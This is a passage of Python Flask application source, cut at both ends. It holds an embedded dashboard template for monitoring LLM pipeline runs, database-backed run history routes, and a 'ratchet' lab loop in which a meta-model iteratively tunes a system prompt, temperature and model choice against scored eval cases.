body{font-family:'Inter',sans-serif;background:var(--bg);color:var(--text);min-height:100vh;padding:20px 28px}
|
|
canvas#bg-grid{position:fixed;inset:0;z-index:0;pointer-events:none}
|
|
.scanlines{position:fixed;inset:0;z-index:1;pointer-events:none;background:repeating-linear-gradient(0deg,transparent,transparent 2px,rgba(0,0,0,0.02) 2px,rgba(0,0,0,0.02) 4px)}
|
|
.wrap{position:relative;z-index:10;max-width:1200px;margin:0 auto}
|
|
header{display:flex;align-items:center;gap:14px;padding-bottom:18px;border-bottom:2px solid var(--border);margin-bottom:24px}
|
|
h1{font-family:'JetBrains Mono',monospace;font-size:18px;font-weight:700}
|
|
h1 span{color:var(--accent)}
|
|
.back{color:var(--text2);text-decoration:none;font-size:10px;font-family:'JetBrains Mono',monospace;text-transform:uppercase;letter-spacing:1px;border:2px solid var(--border);padding:5px 12px;border-radius:2px}
|
|
.back:hover{border-color:var(--accent);color:var(--accent)}
|
|
.live-dot{width:8px;height:8px;border-radius:50%;background:var(--green);box-shadow:0 0 8px var(--green);animation:pulse-dot 2s ease-in-out infinite}
|
|
@keyframes pulse-dot{0%,100%{opacity:1}50%{opacity:0.5}}
|
|
.section{margin-bottom:28px}
|
|
.section-title{font-family:'JetBrains Mono',monospace;font-size:10px;text-transform:uppercase;letter-spacing:2px;color:var(--accent);margin-bottom:12px;font-weight:700}
|
|
.card{background:var(--surface);border:2px solid var(--border);border-radius:2px;padding:16px;margin-bottom:8px;backdrop-filter:blur(16px);cursor:pointer;transition:border-color 0.15s}
|
|
.card:hover{border-color:rgba(226,181,90,0.4)}
|
|
.card.active{border-color:var(--accent);box-shadow:0 0 20px rgba(226,181,90,0.05)}
|
|
.card.error{border-color:var(--red)}
|
|
.card.no-click{cursor:default}
|
|
.card.no-click:hover{border-color:var(--border)}
|
|
.card-row{display:flex;align-items:center;gap:8px;margin-bottom:4px;flex-wrap:wrap}
|
|
.tag{font-family:'JetBrains Mono',monospace;font-size:9px;text-transform:uppercase;letter-spacing:1px;padding:3px 8px;border:1px solid;border-radius:1px;font-weight:600}
|
|
.tag-mode{color:var(--accent);border-color:rgba(226,181,90,0.3)}
|
|
.tag-user{color:var(--blue);border-color:rgba(91,156,245,0.3)}
|
|
.tag-time{color:var(--text2);border-color:var(--border)}
|
|
.tag-err{color:var(--red);border-color:rgba(224,82,82,0.3)}
|
|
.tag-ok{color:var(--green);border-color:rgba(74,222,128,0.3)}
|
|
.tag-role{color:#c084fc;border-color:rgba(192,132,252,0.3)}
|
|
.prompt-text{font-size:12px;color:var(--text2);margin:4px 0;font-style:italic;max-width:600px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
|
|
.mini-progress{height:4px;background:rgba(0,0,0,0.4);border-radius:1px;overflow:hidden;margin:6px 0}
|
|
.mini-fill{height:100%;background:var(--accent);transition:width 0.5s}
|
|
.substep{font-family:'JetBrains Mono',monospace;font-size:10px;color:var(--text2)}
|
|
.error-line{font-family:'JetBrains Mono',monospace;font-size:10px;color:var(--red);border-left:2px solid var(--red);padding-left:8px;margin:4px 0}
|
|
.stats-grid{display:grid;grid-template-columns:repeat(4,1fr);gap:8px;margin-bottom:24px}
|
|
.stat-box{background:var(--surface);border:2px solid var(--border);border-radius:2px;padding:14px;backdrop-filter:blur(16px);text-align:center}
|
|
.stat-val{font-family:'JetBrains Mono',monospace;font-size:22px;font-weight:700;color:var(--accent)}
|
|
.stat-label{font-family:'JetBrains Mono',monospace;font-size:9px;text-transform:uppercase;letter-spacing:1.5px;color:var(--text2);margin-top:4px}
|
|
.empty{font-family:'JetBrains Mono',monospace;font-size:11px;color:var(--text2);padding:20px;text-align:center;opacity:0.5}
|
|
.breadcrumb{font-family:'JetBrains Mono',monospace;font-size:10px;text-transform:uppercase;letter-spacing:1px;color:var(--text2);margin-bottom:16px;display:flex;align-items:center;gap:6px}
|
|
.breadcrumb a{color:var(--accent);text-decoration:none;cursor:pointer}
|
|
.breadcrumb a:hover{text-decoration:underline}
|
|
.breadcrumb .sep{opacity:0.3}
|
|
.detail-panel{display:none}
|
|
.detail-panel.open{display:block}
|
|
.detail-header{background:var(--surface);border:2px solid var(--accent);border-radius:2px;padding:18px;margin-bottom:16px;backdrop-filter:blur(16px)}
|
|
.detail-prompt{font-size:13px;color:var(--text);margin:8px 0;line-height:1.6}
|
|
.step-timeline{position:relative;padding-left:24px;margin-bottom:16px}
|
|
.step-timeline::before{content:'';position:absolute;left:7px;top:4px;bottom:4px;width:2px;background:var(--border)}
|
|
.step-item{position:relative;margin-bottom:12px;cursor:pointer}
|
|
.step-dot{position:absolute;left:-20px;top:4px;width:10px;height:10px;border-radius:2px;border:2px solid var(--border);background:var(--bg)}
|
|
.step-item.done .step-dot{background:var(--accent);border-color:var(--accent)}
|
|
.step-item.error .step-dot{background:var(--red);border-color:var(--red)}
|
|
.step-head{display:flex;align-items:center;gap:8px;font-size:12px;font-weight:600}
|
|
.step-meta{font-family:'JetBrains Mono',monospace;font-size:10px;color:var(--text2);margin-top:2px}
|
|
.step-preview{font-size:11px;color:var(--text2);margin-top:4px;max-height:0;overflow:hidden;transition:max-height 0.3s;line-height:1.5}
|
|
.step-item.expanded .step-preview{max-height:2000px}
|
|
.step-text{background:rgba(0,0,0,0.3);border:1px solid var(--border);border-radius:2px;padding:12px;margin-top:6px;white-space:pre-wrap;font-size:12px;line-height:1.6;max-height:400px;overflow-y:auto}
|
|
.step-text::-webkit-scrollbar{width:3px}
|
|
.step-text::-webkit-scrollbar-thumb{background:rgba(226,181,90,0.15)}
|
|
.click-hint{font-family:'JetBrains Mono',monospace;font-size:8px;text-transform:uppercase;letter-spacing:1.5px;color:var(--text2);opacity:0.4;margin-top:4px}
|
|
@media(max-width:768px){.stats-grid{grid-template-columns:repeat(2,1fr)}.card-row{gap:6px}}
|
|
</style>
|
|
</head><body>
|
|
<canvas id="bg-grid"></canvas>
|
|
<div class="scanlines"></div>
|
|
<div class="wrap">
|
|
<header>
|
|
<div class="live-dot"></div>
|
|
<h1><span>Monitor</span> // Process View</h1>
|
|
<nav style="margin-left:auto;display:flex;gap:6px">
|
|
<a class="back" href="/">Team</a>
|
|
<a class="back" href="/logs">Logs</a>
|
|
<a class="back" href="/admin">Admin</a>
|
|
</nav>
|
|
</header>
|
|
<div class="stats-grid">
|
|
<div class="stat-box"><div class="stat-val" id="s-active">0</div><div class="stat-label">Active Runs</div></div>
|
|
<div class="stat-box"><div class="stat-val" id="s-total">0</div><div class="stat-label">Completed</div></div>
|
|
<div class="stat-box"><div class="stat-val" id="s-errors">0</div><div class="stat-label">Errors</div></div>
|
|
<div class="stat-box"><div class="stat-val" id="s-avgtime">—</div><div class="stat-label">Avg Duration</div></div>
|
|
</div>
|
|
|
|
<!-- Level 1: Run list -->
|
|
<div id="view-list">
|
|
<div class="section">
|
|
<div class="section-title">Active Runs</div>
|
|
<div id="active-runs"><div class="empty">No active runs</div></div>
|
|
</div>
|
|
<div class="section">
|
|
<div class="section-title">Recent Runs</div>
|
|
<div id="recent-runs"><div class="empty">No recent runs</div></div>
|
|
</div>
|
|
<div class="section">
|
|
<div class="section-title">History (from DB)</div>
|
|
<div id="db-runs"><div class="empty">Loading...</div></div>
|
|
</div>
|
|
</div>
|
|
|
|
<!-- Level 2: Pipeline detail -->
|
|
<div id="view-detail" class="detail-panel">
|
|
<div class="breadcrumb">
|
|
<a onclick="backToList()">Monitor</a>
|
|
<span class="sep">→</span>
|
|
<span id="detail-breadcrumb">Run</span>
|
|
</div>
|
|
<div id="detail-content"></div>
|
|
</div>
|
|
</div>
|
|
|
|
<script>
|
|
!function(){var c=document.getElementById('bg-grid');if(!c)return;var x=c.getContext('2d');function resize(){c.width=window.innerWidth;c.height=window.innerHeight}resize();window.addEventListener('resize',resize);var t=0;function draw(){x.clearRect(0,0,c.width,c.height);var s=50,ox=(t*0.2)%s,oy=(t*0.1)%s;x.fillStyle='rgba(226,181,90,0.025)';for(var gx=-s+ox;gx<c.width+s;gx+=s)for(var gy=-s+oy;gy<c.height+s;gy+=s){x.beginPath();x.arc(gx,gy,0.7,0,Math.PI*2);x.fill()}t++;requestAnimationFrame(draw)}draw()}();
|
|
|
|
function fmt(s){if(!s&&s!==0)return'—';if(s<60)return Math.round(s)+'s';return Math.floor(s/60)+'m '+Math.round(s%60)+'s'}
|
|
function esc(t){var d=document.createElement('span');d.textContent=t;return d.innerHTML}
|
|
function tag(text,cls){var t=document.createElement('span');t.className='tag '+cls;t.textContent=text;return t}
|
|
function truncate(t,n){return t&&t.length>n?t.substring(0,n)+'...':t||''}
|
|
|
|
function backToList(){
|
|
document.getElementById('view-list').style.display='';
|
|
document.getElementById('view-detail').className='detail-panel';
|
|
}
|
|
|
|
function renderActive(runs){
|
|
var el=document.getElementById('active-runs');
|
|
if(!runs.length){el.textContent='';var e=document.createElement('div');e.className='empty';e.textContent='No active runs';el.appendChild(e);return}
|
|
el.textContent='';
|
|
runs.forEach(function(r){
|
|
var c=document.createElement('div');c.className='card active no-click';
|
|
var row=document.createElement('div');row.className='card-row';
|
|
row.appendChild(tag(r.mode,'tag-mode'));row.appendChild(tag(r.user,'tag-user'));
|
|
row.appendChild(tag(fmt(r.elapsed),'tag-time'));row.appendChild(tag(r.events+' events','tag-time'));
|
|
if(r.errors>0)row.appendChild(tag(r.errors+' errors','tag-err'));
|
|
c.appendChild(row);
|
|
var p=document.createElement('div');p.className='prompt-text';p.textContent=r.prompt;c.appendChild(p);
|
|
if(r.total_steps>0){var mp=document.createElement('div');mp.className='mini-progress';var mf=document.createElement('div');mf.className='mini-fill';mf.style.width=Math.max(5,Math.round((r.step/r.total_steps)*100))+'%';mp.appendChild(mf);c.appendChild(mp)}
|
|
if(r.substep){var s=document.createElement('div');s.className='substep';s.textContent=r.substep;c.appendChild(s)}
|
|
el.appendChild(c);
|
|
});
|
|
}
|
|
|
|
function renderRecent(runs){
|
|
var el=document.getElementById('recent-runs');
|
|
if(!runs.length){el.textContent='';var e=document.createElement('div');e.className='empty';e.textContent='No recent runs (this session)';el.appendChild(e);return}
|
|
el.textContent='';
|
|
runs.forEach(function(r){
|
|
var c=document.createElement('div');c.className='card'+(r.errors&&r.errors.length?' error':'');
|
|
var row=document.createElement('div');row.className='card-row';
|
|
row.appendChild(tag(r.mode,'tag-mode'));row.appendChild(tag(r.user||'?','tag-user'));
|
|
row.appendChild(tag(fmt(r.duration),'tag-time'));
|
|
row.appendChild(tag((r.response_count||0)+' resp','tag-time'));
|
|
if(r.errors&&r.errors.length)row.appendChild(tag(r.errors.length+' errors','tag-err'));
|
|
else row.appendChild(tag('ok','tag-ok'));
|
|
c.appendChild(row);
|
|
var p=document.createElement('div');p.className='prompt-text';p.textContent=r.prompt;c.appendChild(p);
|
|
if(r.errors&&r.errors.length){r.errors.slice(-1).forEach(function(e){
|
|
var el2=document.createElement('div');el2.className='error-line';el2.textContent=(e.model||'?')+': '+truncate(e.error,80);c.appendChild(el2);
|
|
})}
|
|
var hint=document.createElement('div');hint.className='click-hint';hint.textContent='No DB entry — in-memory only';
|
|
c.appendChild(hint);
|
|
c.style.cursor='default';
|
|
el.appendChild(c);
|
|
});
|
|
}
|
|
|
|
function renderDBRuns(runs){
|
|
var el=document.getElementById('db-runs');
|
|
if(!runs.length){el.textContent='';var e=document.createElement('div');e.className='empty';e.textContent='No saved runs';el.appendChild(e);return}
|
|
el.textContent='';
|
|
runs.forEach(function(r){
|
|
var c=document.createElement('div');c.className='card';
|
|
c.onclick=function(){openRun(r.id)};
|
|
var row=document.createElement('div');row.className='card-row';
|
|
row.appendChild(tag(r.mode,'tag-mode'));
|
|
row.appendChild(tag(r.models_used?r.models_used.length+' models':'?','tag-time'));
|
|
var ts=r.created_at?new Date(r.created_at).toLocaleString():'?';
|
|
row.appendChild(tag(ts,'tag-time'));
|
|
c.appendChild(row);
|
|
var p=document.createElement('div');p.className='prompt-text';p.textContent=truncate(r.prompt,100);c.appendChild(p);
|
|
var hint=document.createElement('div');hint.className='click-hint';hint.textContent='Click to drill down →';c.appendChild(hint);
|
|
el.appendChild(c);
|
|
});
|
|
}
|
|
|
|
async function openRun(id){
|
|
document.getElementById('view-list').style.display='none';
|
|
document.getElementById('view-detail').className='detail-panel open';
|
|
var content=document.getElementById('detail-content');
|
|
content.textContent='Loading...';
|
|
try{
|
|
var r=await fetch('/api/runs/'+id);
|
|
var run=await r.json();
|
|
if(run.error){content.textContent='Error: '+run.error;return}
|
|
document.getElementById('detail-breadcrumb').textContent=run.mode+' #'+id;
|
|
renderRunDetail(run,content);
|
|
}catch(e){content.textContent='Error: '+e.message}
|
|
}
|
|
|
|
function renderRunDetail(run,el){
|
|
el.textContent='';
|
|
// Header card
|
|
var header=document.createElement('div');header.className='detail-header';
|
|
var row=document.createElement('div');row.className='card-row';
|
|
row.appendChild(tag(run.mode,'tag-mode'));
|
|
if(run.models_used)row.appendChild(tag(run.models_used.length+' models','tag-time'));
|
|
var ts=run.created_at?new Date(run.created_at).toLocaleString():'';
|
|
if(ts)row.appendChild(tag(ts,'tag-time'));
|
|
header.appendChild(row);
|
|
var prompt=document.createElement('div');prompt.className='detail-prompt';prompt.textContent=run.prompt||'';header.appendChild(prompt);
|
|
el.appendChild(header);
|
|
|
|
// Step timeline from responses
|
|
var responses=run.responses||[];
|
|
if(!responses.length){var empty=document.createElement('div');empty.className='empty';empty.textContent='No responses recorded';el.appendChild(empty);return}
|
|
|
|
var title=document.createElement('div');title.className='section-title';title.textContent='Pipeline Steps ('+responses.length+' responses)';el.appendChild(title);
|
|
|
|
var timeline=document.createElement('div');timeline.className='step-timeline';
|
|
var lastRole='';
|
|
responses.forEach(function(resp,i){
|
|
var isError=resp.role==='error';
|
|
var isNewPhase=resp.role!==lastRole;
|
|
lastRole=resp.role;
|
|
|
|
var item=document.createElement('div');
|
|
item.className='step-item'+(isError?' error':' done');
|
|
var dot=document.createElement('div');dot.className='step-dot';item.appendChild(dot);
|
|
|
|
var head=document.createElement('div');head.className='step-head';
|
|
var modelSpan=document.createElement('span');modelSpan.textContent=resp.model||'unknown';head.appendChild(modelSpan);
|
|
head.appendChild(tag(resp.role||'response','tag-role'));
|
|
var sizeTag=tag(resp.text?resp.text.length+' chars':'empty','tag-time');head.appendChild(sizeTag);
|
|
item.appendChild(head);
|
|
|
|
var meta=document.createElement('div');meta.className='step-meta';
|
|
meta.textContent='~'+Math.round((resp.text||'').length/4)+' tokens';
|
|
item.appendChild(meta);
|
|
|
|
// Collapsible preview
|
|
var preview=document.createElement('div');preview.className='step-preview';
|
|
var textBox=document.createElement('div');textBox.className='step-text';
|
|
textBox.textContent=resp.text||'(empty)';
|
|
preview.appendChild(textBox);
|
|
item.appendChild(preview);
|
|
|
|
item.onclick=function(e){
|
|
e.stopPropagation();
|
|
item.classList.toggle('expanded');
|
|
};
|
|
|
|
timeline.appendChild(item);
|
|
});
|
|
el.appendChild(timeline);
|
|
}
|
|
|
|
async function loadDBRuns(){
|
|
try{
|
|
var r=await fetch('/api/runs');
|
|
var d=await r.json();
|
|
renderDBRuns(d.runs||[]);
|
|
}catch(e){document.getElementById('db-runs').textContent='Error: '+e.message}
|
|
}
|
|
|
|
async function poll(){
|
|
try{
|
|
var r=await fetch('/api/admin/monitor');
|
|
var d=await r.json();
|
|
document.getElementById('s-active').textContent=d.active.length;
|
|
document.getElementById('s-total').textContent=d.recent.length;
|
|
var errs=d.recent.reduce(function(a,r){return a+((r.errors&&r.errors.length)||0)},0);
|
|
document.getElementById('s-errors').textContent=errs;
|
|
var durations=d.recent.filter(function(r){return r.duration}).map(function(r){return r.duration});
|
|
document.getElementById('s-avgtime').textContent=durations.length?fmt(durations.reduce(function(a,b){return a+b},0)/durations.length):'—';
|
|
renderActive(d.active);
|
|
renderRecent(d.recent);
|
|
}catch(e){console.error('Monitor poll error:',e)}
|
|
}
|
|
poll();
|
|
loadDBRuns();
|
|
setInterval(poll,3000);
|
|
</script>
|
|
</body></html>"""
|
|
|
|
|
|
# ─── HISTORY ROUTES ────────────────────────────────────────────
|
|
|
|
@app.route("/api/runs")
|
|
@login_required
|
|
def get_runs():
|
|
try:
|
|
with get_db() as conn:
|
|
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
|
|
cur.execute("SELECT id, mode, prompt, models_used, created_at FROM team_runs ORDER BY created_at DESC LIMIT 50")
|
|
runs = cur.fetchall()
|
|
for r in runs:
|
|
r["created_at"] = r["created_at"].isoformat()
|
|
return jsonify({"runs": runs})
|
|
except Exception as e:
|
|
return jsonify({"runs": [], "error": str(e)})
|
|
|
|
|
|
@app.route("/api/runs/<int:run_id>")
|
|
@login_required
|
|
def get_run(run_id):
|
|
try:
|
|
with get_db() as conn:
|
|
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
|
|
cur.execute("SELECT * FROM team_runs WHERE id = %s", (run_id,))
|
|
run = cur.fetchone()
|
|
if not run:
|
|
return jsonify({"error": "not found"}), 404
|
|
run["created_at"] = run["created_at"].isoformat()
|
|
return jsonify(run)
|
|
except Exception as e:
|
|
return jsonify({"error": str(e)}), 500
|
|
|
|
|
|
@app.route("/api/runs/<int:run_id>", methods=["DELETE"])
|
|
@login_required
|
|
def delete_run(run_id):
|
|
try:
|
|
with get_db() as conn:
|
|
with conn.cursor() as cur:
|
|
cur.execute("DELETE FROM team_runs WHERE id = %s", (run_id,))
|
|
conn.commit()
|
|
return jsonify({"ok": True})
|
|
except Exception as e:
|
|
return jsonify({"error": str(e)}), 500
|
|
|
|
|
|
@app.route("/api/pipelines")
|
|
@login_required
|
|
def get_pipelines():
|
|
try:
|
|
with get_db() as conn:
|
|
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
|
|
cur.execute("SELECT id, pipeline, topic, status, models_used, duration_ms, created_at FROM pipeline_runs ORDER BY created_at DESC LIMIT 50")
|
|
runs = cur.fetchall()
|
|
for r in runs:
|
|
r["created_at"] = r["created_at"].isoformat() if r["created_at"] else None
|
|
return jsonify({"pipelines": runs})
|
|
except Exception as e:
|
|
return jsonify({"pipelines": [], "error": str(e)})
|
|
|
|
|
|
@app.route("/api/pipelines/<int:pid>")
|
|
@login_required
|
|
def get_pipeline(pid):
|
|
try:
|
|
with get_db() as conn:
|
|
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
|
|
cur.execute("SELECT * FROM pipeline_runs WHERE id = %s", (pid,))
|
|
run = cur.fetchone()
|
|
if not run:
|
|
return jsonify({"error": "not found"}), 404
|
|
run["created_at"] = run["created_at"].isoformat() if run["created_at"] else None
|
|
run["completed_at"] = run["completed_at"].isoformat() if run["completed_at"] else None
|
|
return jsonify(run)
|
|
except Exception as e:
|
|
return jsonify({"error": str(e)}), 500
|
|
|
|
|
|
# ─── LAB: RATCHET ENGINE ──────────────────────────────────────
|
|
|
|
_lab_threads = {} # experiment_id -> thread
|
|
_lab_streams = {} # experiment_id -> [queue, ...]
|
|
|
|
def _lab_emit(exp_id, data):
|
|
for q in _lab_streams.get(exp_id, []):
|
|
q.append(data)
|
|
|
|
|
|
def _score_response(response, expected, metric, judge_model=None):
|
|
if metric == "accuracy":
|
|
if not expected:
|
|
return 5.0
|
|
resp_lower = response.lower().strip()
|
|
exp_lower = expected.lower().strip()
|
|
if exp_lower in resp_lower:
|
|
return 10.0
|
|
if any(w in resp_lower for w in exp_lower.split()):
|
|
return 5.0
|
|
return 1.0
|
|
elif metric == "speed":
|
|
return 10.0 # speed scored externally by duration
|
|
elif metric == "quality" and judge_model:
|
|
try:
|
|
judgment = query_model(judge_model,
|
|
f"Rate this response 1-10 for quality, relevance, and completeness.\n\n"
|
|
f"EXPECTED: {expected or 'No expected output specified'}\n\n"
|
|
f"RESPONSE: {response[:1500]}\n\n"
|
|
f"Return ONLY a number 1-10, nothing else.")
|
|
import re
|
|
m = re.search(r'\b(\d+)\b', judgment)
|
|
return min(float(m.group(1)), 10.0) if m else 5.0
|
|
except Exception:
|
|
return 5.0
|
|
return 5.0
|
|
|
|
|
|
def _ratchet_loop(exp_id):
|
|
try:
|
|
with get_db() as conn:
|
|
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
|
|
cur.execute("SELECT * FROM lab_experiments WHERE id = %s", (exp_id,))
|
|
exp = cur.fetchone()
|
|
if not exp:
|
|
return
|
|
|
|
eval_cases = exp["eval_cases"] or []
|
|
models_pool = exp["models_pool"] or []
|
|
metric = exp["metric"] or "quality"
|
|
objective = exp["objective"] or "Improve response quality"
|
|
mutable = exp["mutable_config"] or {
|
|
"system_prompt": "You are a helpful assistant.",
|
|
"temperature": 0.7,
|
|
"model": models_pool[0] if models_pool else "llama3.2:latest",
|
|
}
|
|
best_config = exp["best_config"] or json.loads(json.dumps(mutable))
|
|
best_score = exp["best_score"] or 0
|
|
trial_num = exp["total_trials"] or 0
|
|
|
|
# Pick meta-model (largest in pool)
|
|
meta_model = models_pool[-1] if models_pool else "qwen2.5:latest"
|
|
judge_model = models_pool[0] if models_pool else "llama3.2:latest"
|
|
|
|
while True:
|
|
# Check if still running
|
|
with get_db() as conn:
|
|
with conn.cursor() as cur:
|
|
cur.execute("SELECT status FROM lab_experiments WHERE id = %s", (exp_id,))
|
|
row = cur.fetchone()
|
|
if not row or row[0] != "running":
|
|
break
|
|
|
|
trial_num += 1
|
|
trial_start = time.time()
|
|
_lab_emit(exp_id, {"type": "status", "trial": trial_num, "message": "Proposing change..."})
|
|
|
|
# Step 1: Meta-model proposes a change
|
|
history_hint = ""
|
|
if trial_num > 1:
|
|
with get_db() as conn:
|
|
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
|
|
cur.execute("SELECT config_diff, avg_score, improved FROM lab_trials WHERE experiment_id = %s ORDER BY id DESC LIMIT 5", (exp_id,))
|
|
recent = cur.fetchall()
|
|
if recent:
|
|
history_hint = "\n\nRecent trials:\n" + "\n".join(
|
|
f" {'KEPT' if r['improved'] else 'DISCARDED'} (score {r['avg_score']:.1f}): {r['config_diff']}" for r in recent)
|
|
|
|
propose_prompt = (
|
|
f"You are optimizing an LLM pipeline. Objective: {objective}\n"
|
|
f"Metric: {metric} (higher is better, max 10)\n"
|
|
f"Current best score: {best_score:.1f}/10\n\n"
|
|
f"Current config:\n{json.dumps(mutable, indent=2)}\n\n"
|
|
f"Available models: {models_pool}\n"
|
|
f"Eval cases: {len(eval_cases)}\n"
|
|
f"{history_hint}\n\n"
|
|
f"Suggest exactly ONE change to improve the score. Return ONLY valid JSON with the FULL updated config. "
|
|
f"Keys: system_prompt (string), temperature (0.0-1.5), model (string from available models). "
|
|
f"Be creative but focused. Change only one thing at a time."
|
|
)
|
|
try:
|
|
proposal_raw = query_model(meta_model, propose_prompt)
|
|
import re
|
|
json_match = re.search(r'\{[\s\S]*\}', proposal_raw)
|
|
if json_match:
|
|
proposed = json.loads(json_match.group())
|
|
# Validate keys
|
|
if "system_prompt" not in proposed:
|
|
proposed["system_prompt"] = mutable.get("system_prompt", "")
|
|
if "temperature" not in proposed:
|
|
proposed["temperature"] = mutable.get("temperature", 0.7)
|
|
if "model" not in proposed:
|
|
proposed["model"] = mutable.get("model", models_pool[0])
|
|
else:
|
|
proposed = mutable
|
|
except Exception:
|
|
proposed = mutable
|
|
|
|
# Describe the diff
|
|
diffs = []
|
|
for k in set(list(mutable.keys()) + list(proposed.keys())):
|
|
old_v = mutable.get(k)
|
|
new_v = proposed.get(k)
|
|
if old_v != new_v:
|
|
if k == "system_prompt":
|
|
diffs.append(f"system_prompt changed ({len(str(old_v))} → {len(str(new_v))} chars)")
|
|
else:
|
|
diffs.append(f"{k}: {old_v} → {new_v}")
|
|
config_diff = "; ".join(diffs) if diffs else "no change"
|
|
_lab_emit(exp_id, {"type": "status", "trial": trial_num, "message": f"Testing: {config_diff[:80]}"})
|
|
|
|
# Step 2: Run eval cases with proposed config
|
|
trial_scores = []
|
|
model_to_use = proposed.get("model", models_pool[0] if models_pool else "llama3.2:latest")
|
|
sys_prompt = proposed.get("system_prompt", "")
|
|
|
|
for ci, case in enumerate(eval_cases):
|
|
inp = case.get("input", "")
|
|
expected = case.get("expected", "")
|
|
full_prompt = f"{sys_prompt}\n\n{inp}" if sys_prompt else inp
|
|
try:
|
|
resp = query_model(model_to_use, full_prompt)
|
|
score = _score_response(resp, expected, metric, judge_model if metric == "quality" else None)
|
|
trial_scores.append({"input": inp[:100], "score": score, "response": resp[:300]})
|
|
except Exception as e:
|
|
trial_scores.append({"input": inp[:100], "score": 0, "error": str(e)})
|
|
|
|
avg_score = sum(s["score"] for s in trial_scores) / max(len(trial_scores), 1)
|
|
duration_ms = int((time.time() - trial_start) * 1000)
|
|
improved = avg_score > best_score
|
|
|
|
# Step 3: Ratchet
|
|
if improved:
|
|
best_score = avg_score
|
|
best_config = json.loads(json.dumps(proposed))
|
|
mutable = json.loads(json.dumps(proposed))
|
|
else:
|
|
mutable = json.loads(json.dumps(best_config))
|
|
|
|
# Save trial
|
|
with get_db() as conn:
|
|
with conn.cursor() as cur:
|
|
cur.execute(
|
|
"""INSERT INTO lab_trials (experiment_id, trial_num, config_diff, config_snapshot, scores, avg_score, improved, duration_ms)
|
|
VALUES (%s, %s, %s, %s, %s, %s, %s, %s)""",
|
|
(exp_id, trial_num, config_diff, json.dumps(proposed), json.dumps(trial_scores), avg_score, improved, duration_ms)
|
|
)
|
|
cur.execute(
|
|
"""UPDATE lab_experiments SET total_trials = %s, best_score = %s, best_config = %s, mutable_config = %s,
|
|
improvements = improvements + %s WHERE id = %s""",
|
|
(trial_num, best_score, json.dumps(best_config), json.dumps(mutable), 1 if improved else 0, exp_id)
|
|
)
|
|
conn.commit()
|
|
|
|
_lab_emit(exp_id, {
|
|
"type": "trial", "trial": trial_num, "score": round(avg_score, 2),
|
|
"best": round(best_score, 2), "improved": improved, "diff": config_diff[:100],
|
|
"duration_ms": duration_ms
|
|
})
|
|
|
|
# Done
|
|
with get_db() as conn:
|
|
with conn.cursor() as cur:
|
|
cur.execute("UPDATE lab_experiments SET status = 'paused' WHERE id = %s AND status = 'running'", (exp_id,))
|
|
conn.commit()
|
|
_lab_emit(exp_id, {"type": "done"})
|
|
|
|
except Exception as e:
|
|
_lab_emit(exp_id, {"type": "error", "message": str(e)})
|
|
try:
|
|
with get_db() as conn:
|
|
with conn.cursor() as cur:
|
|
cur.execute("UPDATE lab_experiments SET status = 'error' WHERE id = %s", (exp_id,))
|
|
conn.commit()
|
|
except Exception:
|
|
pass
|
|
|
|
|
|
# ─── LAB API ROUTES ───────────────────────────────────────────
|
|
|
|
@app.route("/lab")
|
|
@admin_required
|
|
def lab_page():
|
|
return render_template_string(LAB_HTML)
|
|
|
|
|
|
@app.route("/api/lab/experiments", methods=["GET"])
|
|
@admin_required
|
|
def lab_list():
|
|
with get_db() as conn:
|
|
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
|
|
cur.execute("SELECT id, name, status, metric, best_score, total_trials, improvements, models_pool, created_at FROM lab_experiments ORDER BY created_at DESC")
|
|
rows = cur.fetchall()
|
|
for r in rows:
|
|
r["created_at"] = r["created_at"].isoformat()
|
|
return jsonify({"experiments": rows})
|
|
|
|
|
|
@app.route("/api/lab/experiments", methods=["POST"])
|
|
@admin_required
|
|
def lab_create():
|
|
d = request.json
|
|
with get_db() as conn:
|
|
with conn.cursor() as cur:
|
|
cur.execute(
|
|
"""INSERT INTO lab_experiments (name, objective, metric, eval_cases, mutable_config, best_config, models_pool)
|
|
VALUES (%s, %s, %s, %s, %s, %s, %s) RETURNING id""",
|
|
(d["name"], d.get("objective", ""), d.get("metric", "quality"),
|
|
json.dumps(d.get("eval_cases", [])),
|
|
json.dumps(d.get("mutable_config", {"system_prompt": "You are a helpful assistant.", "temperature": 0.7, "model": ""})),
|
|
json.dumps(d.get("mutable_config", {"system_prompt": "You are a helpful assistant.", "temperature": 0.7, "model": ""})),
|
|
d.get("models_pool", []))
|
|
)
|
|
eid = cur.fetchone()[0]
|
|
conn.commit()
|
|
return jsonify({"id": eid})
|
|
|
|
|
|
@app.route("/api/lab/experiments/<int:eid>", methods=["GET"])
|
|
@admin_required
|
|
def lab_get(eid):
|
|
with get_db() as conn:
|
|
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
|
|
cur.execute("SELECT * FROM lab_experiments WHERE id = %s", (eid,))
|
|
exp = cur.fetchone()
|
|
if not exp:
|
|
return jsonify({"error": "not found"}), 404
|
|
exp["created_at"] = exp["created_at"].isoformat()
|
|
cur.execute("SELECT * FROM lab_trials WHERE experiment_id = %s ORDER BY trial_num", (eid,))
|
|
exp["trials"] = cur.fetchall()
|
|
for t in exp["trials"]:
|
|
t["created_at"] = t["created_at"].isoformat()
|
|
return jsonify(exp)
|
|
|
|
|
|
@app.route("/api/lab/experiments/<int:eid>", methods=["PUT"])
|
|
@admin_required
|
|
def lab_update(eid):
|
|
d = request.json
|
|
sets, vals = [], []
|
|
for k in ["name", "objective", "metric"]:
|
|
if k in d:
|
|
sets.append(f"{k} = %s")
|
|
vals.append(d[k])
|
|
for k in ["eval_cases", "mutable_config"]:
|
|
if k in d:
|
|
sets.append(f"{k} = %s")
|
|
vals.append(json.dumps(d[k]))
|
|
if "models_pool" in d:
|
|
sets.append("models_pool = %s")
|
|
vals.append(d["models_pool"])
|
|
if not sets:
|
|
return jsonify({"ok": True})
|
|
vals.append(eid)
|
|
with get_db() as conn:
|
|
with conn.cursor() as cur:
|
|
cur.execute(f"UPDATE lab_experiments SET {', '.join(sets)} WHERE id = %s", vals)
|
|
conn.commit()
|
|
return jsonify({"ok": True})
|
|
|
|
|
|
@app.route("/api/lab/experiments/<int:eid>/start", methods=["POST"])
|
|
